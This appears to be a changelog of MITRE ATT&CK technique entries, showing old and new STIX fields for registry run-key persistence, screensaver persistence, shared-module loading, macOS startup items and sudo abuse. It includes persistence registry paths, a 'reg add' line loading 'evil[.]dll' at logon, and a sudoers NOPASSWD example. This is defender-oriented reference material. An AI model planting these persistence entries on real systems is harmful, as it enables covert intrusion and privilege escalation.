| external_references | | CAPEC-270 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-270 | |
| external_references | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-01-06 18:36:29.226000+00:00 | 2022-04-20 16:28:54.088000+00:00 |
| description | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. |
| external_references[1]['source_name'] | capec | Malwarebytes Wow6432Node 2016 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/270.html | https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/ |
| external_references[2]['source_name'] | Microsoft Run Key | Microsoft RunOnceEx APR 2018 |
| external_references[2]['description'] | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. | Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018. |
| external_references[2]['url'] | http://msdn.microsoft.com/en-us/library/aa376977 | https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key |
| external_references[4]['source_name'] | Malwarebytes Wow6432Node 2016 | Microsoft Run Key |
| external_references[4]['description'] | Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020. | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. |
| external_references[4]['url'] | https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/ | http://msdn.microsoft.com/en-us/library/aa376977 |
| external_references[5]['source_name'] | Microsoft RunOnceEx APR 2018 | Oddvar Moe RunOnceEx Mar 2018 |
| external_references[5]['description'] | Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018. | Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018. |
| external_references[5]['url'] | https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key | https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ |
| external_references[6]['source_name'] | Oddvar Moe RunOnceEx Mar 2018 | TechNet Autoruns |
| external_references[6]['description'] | Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018. | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| external_references[6]['url'] | https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ | https://technet.microsoft.com/en-us/sysinternals/bb963902 |
| external_references[7]['source_name'] | TechNet Autoruns | capec |
| external_references[7]['url'] | https://technet.microsoft.com/en-us/sysinternals/bb963902 | https://capec.mitre.org/data/definitions/270.html |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Windows Registry: Windows Registry Key Modification |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification | |
[T1021] Remote Services
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 14:15:07.272000+00:00 | 2022-03-28 16:07:45.017000+00:00 |
| x_mitre_data_sources[1] | Network Traffic: Network Connection Creation | Network Share: Network Share Access |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Flow | Command: Command Execution |
| x_mitre_data_sources[3] | Logon Session: Logon Session Creation | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[4] | Command: Command Execution | Module: Module Load |
| x_mitre_data_sources[5] | Network Share: Network Share Access | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[6] | Module: Module Load | Logon Session: Logon Session Creation |
[T1546.002] Event Triggered Execution: Screensaver
Current version: 1.0
|
|
|---|
| t | Adversaries may establish persistence by executing malicious | t | Adversaries may establish persistence by executing malicious |
| content triggered by user inactivity. Screensavers are prog | | content triggered by user inactivity. Screensavers are prog |
| rams that execute after a configurable time of user inactivi | | rams that execute after a configurable time of user inactivi |
| ty and consist of Portable Executable (PE) files with a .scr | | ty and consist of Portable Executable (PE) files with a .scr |
| file extension.(Citation: Wikipedia Screensaver) The Window | | file extension.(Citation: Wikipedia Screensaver) The Window |
| s screensaver application scrnsave.scr is located in <code>C | | s screensaver application scrnsave.scr is located in <code>C |
| :\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</ | | :\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</ |
| code> on 64-bit Windows systems, along with screensavers in | | code> on 64-bit Windows systems, along with screensavers in |
| cluded with base Windows installations. The following scree | | cluded with base Windows installations. The following scree |
| nsaver settings are stored in the Registry (<code>HKCU\Contr | | nsaver settings are stored in the Registry (<code>HKCU\Contr |
| ol Panel\Desktop\</code>) and could be manipulated to achiev | | ol Panel\Desktop\</code>) and could be manipulated to achiev |
| e persistence: * <code>SCRNSAVE.exe</code> - set to malicio | | e persistence: * <code>SCRNSAVE.exe</code> - set to malicio |
| us PE path * <code>ScreenSaveActive</code> - set to '1' to e | | us PE path * <code>ScreenSaveActive</code> - set to '1' to e |
| nable the screensaver * <code>ScreenSaverIsSecure</code> - s | | nable the screensaver * <code>ScreenSaverIsSecure</code> - s |
| et to '0' to not require a password to unlock * <code>Screen | | et to '0' to not require a password to unlock * <code>Screen |
| SaveTimeout</code> - sets user inactivity timeout before scr | | SaveTimeout</code> - sets user inactivity timeout before scr |
| eensaver is executed Adversaries can use screensaver settin | | eensaver is executed Adversaries can use screensaver settin |
| gs to maintain persistence by setting the screensaver to run | | gs to maintain persistence by setting the screensaver to run |
| malware after a certain timeframe of user inactivity. (Cita | | malware after a certain timeframe of user inactivity.(Citat |
| tion: ESET Gazer Aug 2017) | | ion: ESET Gazer Aug 2017) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-23 12:23:04.955000+00:00 | 2022-04-20 16:58:48.140000+00:00 |
| description | Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.
The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence:
* SCRNSAVE.exe - set to malicious PE path
* ScreenSaveActive - set to '1' to enable the screensaver
* ScreenSaverIsSecure - set to '0' to not require a password to unlock
* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017) | Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.
The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence:
* SCRNSAVE.exe - set to malicious PE path
* ScreenSaveActive - set to '1' to enable the screensaver
* ScreenSaverIsSecure - set to '0' to not require a password to unlock
* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017) |
| external_references[1]['source_name'] | Wikipedia Screensaver | ESET Gazer Aug 2017 |
| external_references[1]['description'] | Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017. | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/Screensaver | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
| external_references[2]['source_name'] | ESET Gazer Aug 2017 | Wikipedia Screensaver |
| external_references[2]['description'] | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. | Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017. |
| external_references[2]['url'] | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf | https://en.wikipedia.org/wiki/Screensaver |
| x_mitre_data_sources[0] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[1] | Windows Registry: Windows Registry Key Modification | Process: Process Creation |
| x_mitre_data_sources[2] | Command: Command Execution | File: File Modification |
| x_mitre_data_sources[4] | File: File Modification | Windows Registry: Windows Registry Key Modification |
[T1129] Shared Modules
Current version: 2.1
|
|
|---|
| t | Adversaries may execute malicious payloads via loading share | t | Adversaries may execute malicious payloads via loading share |
| d modules. The Windows module loader can be instructed to lo | | d modules. The Windows module loader can be instructed to lo |
| ad DLLs from arbitrary local paths and arbitrary Universal N | | ad DLLs from arbitrary local paths and arbitrary Universal N |
| aming Convention (UNC) network paths. This functionality res | | aming Convention (UNC) network paths. This functionality res |
| ides in NTDLL.dll and is part of the Windows [Native API](ht | | ides in NTDLL.dll and is part of the Windows [Native API](ht |
| tps://attack.mitre.org/techniques/T1106) which is called fro | | tps://attack.mitre.org/techniques/T1106) which is called fro |
| m functions like <code>CreateProcess</code>, <code>LoadLibra | | m functions like <code>CreateProcess</code>, <code>LoadLibra |
| ry</code>, etc. of the Win32 API. (Citation: Wikipedia Windo | | ry</code>, etc. of the Win32 API.(Citation: Wikipedia Window |
| ws Library Files) The module loader can load DLLs: * via s | | s Library Files) The module loader can load DLLs: * via sp |
| pecification of the (fully-qualified or relative) DLL pathna | | ecification of the (fully-qualified or relative) DLL pathnam |
| me in the IMPORT directory; * via EXPORT forwarded to a | | e in the IMPORT directory; * via EXPORT forwarded to an |
| nother DLL, specified with (fully-qualified or relative) pat | | other DLL, specified with (fully-qualified or relative) path |
| hname (but without extension); * via an NTFS junction o | | name (but without extension); * via an NTFS junction or |
| r symlink program.exe.local with the fully-qualified or rela | | symlink program.exe.local with the fully-qualified or relat |
| tive pathname of a directory containing the DLLs specified i | | ive pathname of a directory containing the DLLs specified in |
| n the IMPORT directory or forwarded EXPORTs; * via <cod | | the IMPORT directory or forwarded EXPORTs; * via <code |
| e><file name="filename.extension" loadFrom="fully-quali | | ><file name="filename.extension" loadFrom="fully-qualif |
| fied or relative pathname"></code> in an embedded or ex | | ied or relative pathname"></code> in an embedded or ext |
| ternal "application manifest". The file name refers to an en | | ernal "application manifest". The file name refers to an ent |
| try in the IMPORT directory or a forwarded EXPORT. Adversar | | ry in the IMPORT directory or a forwarded EXPORT. Adversari |
| ies may use this functionality as a way to execute arbitrary | | es may use this functionality as a way to execute arbitrary |
| payloads on a victim system. For example, malware may execu | | payloads on a victim system. For example, malware may execut |
| te share modules to load additional components or features. | | e share modules to load additional components or features. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| x_mitre_remote_support | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 13:48:02.963000+00:00 | 2022-04-19 20:31:10.657000+00:00 |
| description | Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)
The module loader can load DLLs:
* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
* via <file name="filename.extension" loadFrom="fully-qualified or relative pathname"> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features. | Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API.(Citation: Wikipedia Windows Library Files)
The module loader can load DLLs:
* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
* via <file name="filename.extension" loadFrom="fully-qualified or relative pathname"> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features. |
[T1518] Software Discovery
Current version: 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-29 16:05:00.456000+00:00 | 2022-01-29 00:02:24.150000+00:00 |
| x_mitre_data_sources[0] | Firewall: Firewall Metadata | Process: OS API Execution |
| x_mitre_data_sources[1] | Firewall: Firewall Enumeration | Firewall: Firewall Metadata |
| x_mitre_data_sources[3] | Command: Command Execution | Firewall: Firewall Enumeration |
| x_mitre_data_sources[4] | Process: OS API Execution | Command: Command Execution |
[T1608] Stage Capabilities
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 16:28:41.815000+00:00 | 2022-03-08 21:59:57.521000+00:00 |
[T1037.005] Boot or Logon Initialization Scripts: Startup Items
Current version: 1.0
|
|
|---|
| t | Adversaries may use startup items automatically executed at | t | Adversaries may use startup items automatically executed at |
| boot initialization to establish persistence. Startup items | | boot initialization to establish persistence. Startup items |
| execute during the final phase of the boot process and conta | | execute during the final phase of the boot process and conta |
| in shell scripts or other executable files along with config | | in shell scripts or other executable files along with config |
| uration information used by the system to determine the exec | | uration information used by the system to determine the exec |
| ution order for all startup items. (Citation: Startup Items) | | ution order for all startup items.(Citation: Startup Items) |
| This is technically a deprecated technology (superseded by | | This is technically a deprecated technology (superseded by |
| [Launch Daemon](https://attack.mitre.org/techniques/T1543/0 | | [Launch Daemon](https://attack.mitre.org/techniques/T1543/00 |
| 04)), and thus the appropriate folder, <code>/Library/Startu | | 4)), and thus the appropriate folder, <code>/Library/Startup |
| pItems</code> isn’t guaranteed to exist on the system by def | | Items</code> isn’t guaranteed to exist on the system by defa |
| ault, but does appear to exist by default on macOS Sierra. A | | ult, but does appear to exist by default on macOS Sierra. A |
| startup item is a directory whose executable and configurat | | startup item is a directory whose executable and configurati |
| ion property list (plist), <code>StartupParameters.plist</co | | on property list (plist), <code>StartupParameters.plist</cod |
| de>, reside in the top-level directory. An adversary can c | | e>, reside in the top-level directory. An adversary can cr |
| reate the appropriate folders/files in the StartupItems dire | | eate the appropriate folders/files in the StartupItems direc |
| ctory to register their own persistence mechanism (Citation: | | tory to register their own persistence mechanism.(Citation: |
| Methods of Mac Malware Persistence). Additionally, since St | | Methods of Mac Malware Persistence) Additionally, since Star |
| artupItems run during the bootup phase of macOS, they will r | | tupItems run during the bootup phase of macOS, they will run |
| un as the elevated root user. | | as the elevated root user. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-24 23:47:39.124000+00:00 | 2022-04-20 16:43:21.560000+00:00 |
| description | Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items)
This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.
An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user. | Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)
This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.
An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user. |
| x_mitre_data_sources[0] | File: File Creation | Command: Command Execution |
| x_mitre_data_sources[3] | Command: Command Execution | File: File Creation |
[T1553] Subvert Trust Controls
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 21:18:32.225000+00:00 | 2022-03-24 14:12:38.264000+00:00 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | File: File Modification |
| x_mitre_data_sources | | Command: Command Execution |
| x_mitre_data_sources | | Module: Module Load |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Module: Module Load | |
[T1548.003] Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Current version: 1.0
|
|
|---|
| t | Adversaries may perform sudo caching and/or use the suoders | t | Adversaries may perform sudo caching and/or use the sudoers |
| file to elevate privileges. Adversaries may do this to execu | | file to elevate privileges. Adversaries may do this to execu |
| te commands as other users or spawn processes with higher pr | | te commands as other users or spawn processes with higher pr |
| ivileges. Within Linux and MacOS systems, sudo (sometimes r | | ivileges. Within Linux and MacOS systems, sudo (sometimes r |
| eferred to as "superuser do") allows users to perform comman | | eferred to as "superuser do") allows users to perform comman |
| ds from terminals with elevated privileges and to control wh | | ds from terminals with elevated privileges and to control wh |
| o can perform these commands on the system. The <code>sudo</ | | o can perform these commands on the system. The <code>sudo</ |
| code> command "allows a system administrator to delegate aut | | code> command "allows a system administrator to delegate aut |
| hority to give certain users (or groups of users) the abilit | | hority to give certain users (or groups of users) the abilit |
| y to run some (or all) commands as root or another user whil | | y to run some (or all) commands as root or another user whil |
| e providing an audit trail of the commands and their argumen | | e providing an audit trail of the commands and their argumen |
| ts."(Citation: sudo man page 2018) Since sudo was made for t | | ts."(Citation: sudo man page 2018) Since sudo was made for t |
| he system administrator, it has some useful configuration fe | | he system administrator, it has some useful configuration fe |
| atures such as a <code>timestamp_timeout</code>, which is th | | atures such as a <code>timestamp_timeout</code>, which is th |
| e amount of time in minutes between instances of <code>sudo< | | e amount of time in minutes between instances of <code>sudo< |
| /code> before it will re-prompt for a password. This is beca | | /code> before it will re-prompt for a password. This is beca |
| use <code>sudo</code> has the ability to cache credentials f | | use <code>sudo</code> has the ability to cache credentials f |
| or a period of time. Sudo creates (or touches) a file at <co | | or a period of time. Sudo creates (or touches) a file at <co |
| de>/var/db/sudo</code> with a timestamp of when sudo was las | | de>/var/db/sudo</code> with a timestamp of when sudo was las |
| t run to determine this timeout. Additionally, there is a <c | | t run to determine this timeout. Additionally, there is a <c |
| ode>tty_tickets</code> variable that treats each new tty (te | | ode>tty_tickets</code> variable that treats each new tty (te |
| rminal session) in isolation. This means that, for example, | | rminal session) in isolation. This means that, for example, |
| the sudo timeout of one tty will not affect another tty (you | | the sudo timeout of one tty will not affect another tty (you |
| will have to type the password again). The sudoers file, < | | will have to type the password again). The sudoers file, < |
| code>/etc/sudoers</code>, describes which users can run whic | | code>/etc/sudoers</code>, describes which users can run whic |
| h commands and from which terminals. This also describes whi | | h commands and from which terminals. This also describes whi |
| ch commands users can run as other users or groups. This pro | | ch commands users can run as other users or groups. This pro |
| vides the principle of least privilege such that users are r | | vides the principle of least privilege such that users are r |
| unning in their lowest possible permissions for most of the | | unning in their lowest possible permissions for most of the |
| time and only elevate to other users or permissions as neede | | time and only elevate to other users or permissions as neede |
| d, typically by prompting for a password. However, the sudoe | | d, typically by prompting for a password. However, the sudoe |
| rs file can also specify when to not prompt users for passwo | | rs file can also specify when to not prompt users for passwo |
| rds with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</co | | rds with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</co |
